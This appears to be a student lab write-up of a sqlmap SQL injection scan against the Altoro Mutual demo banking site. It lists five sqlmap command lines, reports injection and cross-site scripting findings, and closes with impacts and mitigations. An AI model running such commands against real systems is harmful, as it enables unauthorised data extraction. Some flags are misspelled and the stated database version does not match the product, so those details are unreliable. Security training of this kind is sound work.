# SQL MAP

website used:Altoromutual

commands used:

sqlmap -u <http://altoro.testfire.net/search.jsp?query=1> –dbs

sqlmap -u <http://altoro.testfire.net/search.jsp?query=1> –colums

sqlmap -u <http://altoro.testfire.net/search.jsp?query=1> –schmea

sqlmap -u <http://altoro.testfire.net/search.jsp?query=1> –random-agent

sqlmap -u <http://altoro.testfire.net/search.jsp?query=1> –cookie=COOKIE

Observations:

website is vulnerable to cross site scripting and sql injection

database used:Microsoft SQL server

version:5.0.12

There may exist a web application firewall exist in the website

POTENTIAL IMPACT OF SQL VULNERABILITY

- Hackers steal sensitive data (passwords, finances) through unauthorized access.

- Data gets corrupted or deleted, causing system outages and financial loss.

- Attackers manipulate data, leading to wrong decisions and malfunctions.

- Breaches erode trust and brand reputation.

- Legal consequences and fines for companies due to data leaks.

Mitigating SQL vulnerabilities:

- **Input Validation:** Sanitize user input (escape special characters) before building SQL queries to prevent injection.

-**Parameterized Queries:** Use parameterized queries with placeholders instead of string concatenation to separate data from commands.

- **Least Privilege:** Grant database users only the permissions they absolutely need.

- **Monitor & Update:** Regularly scan for vulnerabilities and patch database software promptly.

- **Backups:** Maintain frequent backups of your database for potential recovery.